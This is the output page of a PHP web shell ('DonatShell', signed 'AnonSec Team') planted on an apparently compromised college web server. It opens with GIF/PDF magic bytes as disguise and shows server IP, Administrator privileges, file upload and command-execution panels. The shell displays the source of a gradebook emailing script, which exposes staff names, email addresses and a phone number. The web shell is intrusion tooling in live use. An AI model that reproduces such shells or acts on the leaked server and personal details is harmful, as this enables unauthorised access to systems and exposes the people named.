GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Gradebook/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Gradebook/EmailGrade.phpinc
<?
// GradeBook/EmailGrade.phpinc
// Email the grade to the student.

if (da()) debugTrackBegin();
set_time_limit(300);
#printVar('__FILE__',__FILE__);
#$mailSend = false;
#$debugEmailOn = true;
// Get student info.
$displayStudentInformation = false;
$f_userStudentId = $sId;
include('common/studentInfo.phpinc');
// Replace codes in the f_comment.
#$f_commentText = CRtoBR($comment);
if ( $grade == '' ) $grade = 0;
if ( $comment ) {
	$f_commentText = CRtoBR(GradeCommentCodeReplace($eInfo[$eId]['title'],$f_course,$eInfo[$eId]['points'],$grade,$comment)).'<br><br>';
} else {
	$f_commentText = '';
}
$f_gradeLetter = gradeLetterAC(gradePercentage($grade,$eInfo[$eId]['points']));
// Start $mail.
include('email/class.phpmailer.php'); // Creates $mail object.
// Set $mail.
$mail->From = "jim.martinson@ridgewater.edu";
$mail->FromName = "Jim Martinson";
if ($_SERVER['HTTP_HOST'] == 'cst.ridgewater.edu') {
	$mail->AddAddress($f_userEmail,$f_username);
	#$mail->AddAddress('jim.martinson@ridgewater.edu');
	$mailSubject = $f_course.' '.$eInfo[$eId]['title'].': '.$eInfo[$eId]['description']." graded on ".date("Y.m.d")." at ".date("g:ia").".";
} else {
	$mail->AddAddress("jim@jimmartinson.com",'EmailGrade.phpinc'); // This address is for testing only.
	#$mail->AddAddress("jimmart@hutchtel.net"); // This address is for testing only.
	$mailSubject = $f_username." ".$f_course.' '.$eInfo[$eId]['title'].': '.$eInfo[$eId]['description']." from ".$_SERVER['HTTP_HOST']." graded on ".date("Y.m.d")." at ".date("g:ia").".";
}
$mail->AddCC("michael.malz@ridgewater.edu", "Michael Malz");
$mail->Subject = $mailSubject;
$mail->Body = '
'.$f_userNickName.',<br>
<br>
The grade for your '.$f_course.' '.$eInfo[$eId]['title'].': '.$eInfo[$eId]['description'].' is: <b>'.$grade.'</b>.<br>';
if ( !$ExtraCredit ) {
	$mail->Body .= '
This is a grade of '.$f_gradeLetter.' for this evaluation.<br>
';
}
$mail->Body .= '
<br>
'.$f_commentText.'
-- Mike<br>
<br>
Michael Malz<br>
Ridgewater College <br>
Web: http://cst.ridgewater.edu<br>
email: michael.malz@ridgewater.edu<br>
work: 320-234-8546<br>
';
// Check for attachments.
#d_Var('$_FILES',$_FILES,'+',false,true);
$copyError = false;
if ( isset($_FILES) && count($_FILES) && $_FILES['attachment']['error'] == 0 ) {
	// Copy the temp file.
	$attachment = true;
	if( is_uploaded_file($_FILES['attachment']['tmp_name']) ) {
		$upload_path = dirname($_FILES['attachment']['tmp_name']);
		$upload_file = $upload_path.'/'.$_FILES['attachment']['name'];
	  if( copy($_FILES['attachment']['tmp_name'],$upload_file) ) {
			$mail->AddAttachment($upload_file);
		} else {
			$copyError = 'Error while copying the uploaded file';
		}
	}
} else {
	$attachment = false;
}

// BEGIN Email grade without waiting for the SMPT server response.
/** /
// Send $mail.
d_Var('$f_userEmail',$f_userEmail,'d');
d_Var('$f_username',$f_username,'d');
d_Var("userEmail(\$_SESSION['userId'])",userEmail($_SESSION['userId']),'d');
d_Var("userName(\$_SESSION['userId'])",userName($_SESSION['userId']),'d');
d_Var('$mail->From',$mail->From,'d');
d_Var('$mail->FromName',$mail->FromName,'d');
d_Var('$mail->Subject',$mail->Subject,'d');
d_Var('$mail->Body',$mail->Body,'d');
d_Var("\$_SESSION",$_SESSION,'d');
d_Var('$mail->Body',$mail->Body,'d');
/**/

$host = $_SESSION['HTTP_SITE'];
$port = 80;
$path = "/GradeBook/EmailGrade.php";

//you will need to setup an array of fields to post with
//then create the post string
$formdata = array ( 
	  "task"=>"EmailGrade"
	, 'To'=>$f_userEmail
	, 'ToName'=>$f_username
	, 'CC'=>userEmail($_SESSION['userId'])
	, 'CCName'=>userName($_SESSION['userId'])
	, 'From'=>userEmail($_SESSION['userId'])
	, 'FromName'=>userName($_SESSION['userId'])
	, 'Subject'=>$mail->Subject
	, 'Body'=>$mail->Body
);
//build the post string
$poststring = '';
  foreach($formdata AS $key => $val){
    $poststring .= urlencode($key) . "=" . urlencode($val) . "&";
  }
// strip off trailing ampersand
$poststring = substr($poststring, 0, -1);
#d_Var('$poststring',$poststring,'d');
echo "<br>\n";
/**/
?>
<pre class="info copyText">
https://cst.ridgewater.edu<?=$path?>?<?=$poststring?>
</pre>
<?
/** /
$fp = fsockopen($host, $port, $errno, $errstr, $timeout = 300); //$_SESSION['HTTP_PROTOCOL']."://". 'ssl://'.
d_Var('$fp',$fp,'d'); echo "<br>\n";

if ( !$fp ){
	//error tell us
	echo "$errstr ($errno)\n";
} else {
  //send the server request
  fputs($fp, "POST $path HTTP/1.1\r\n");
  fputs($fp, "Host: $host\r\n");
  fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
  fputs($fp, "Content-length: ".strlen($poststring)."\r\n");
  fputs($fp, "Connection: close\r\n\r\n");
  fputs($fp, $poststring . "\r\n\r\n");
	//loop through the response from the server 
	while(!feof($fp)) {
    echo fgets($fp, 4096);
		echo "<br>\n";
  }
  //close fp - we are done with it
  fclose($fp); 
}
/**/

// END Email grade without waiting for the SMPT server response.

#include('email/sendEmail.phpinc');
if ( $attachment && !$copyError ) {
	// Delete copied file.
	unlink($upload_file);
}
?>
<div id="emailResponse">emailResponse</div>
<script>
	let URI = "<?=$_SERVER['REQUEST_SCHEME']?>://<?=$_SERVER['SERVER_NAME']?><?=$path?>?<?=$poststring?>";
	//alert('before '+URI);
	let id = 'emailResponse';
	jsFunction = '';
	updateInclude(URI, id);
	//alert('after '+URI);
</script>

<?
if (da()) debugTrackEnd();
?>

Anon7 - 2022
AnonSec Team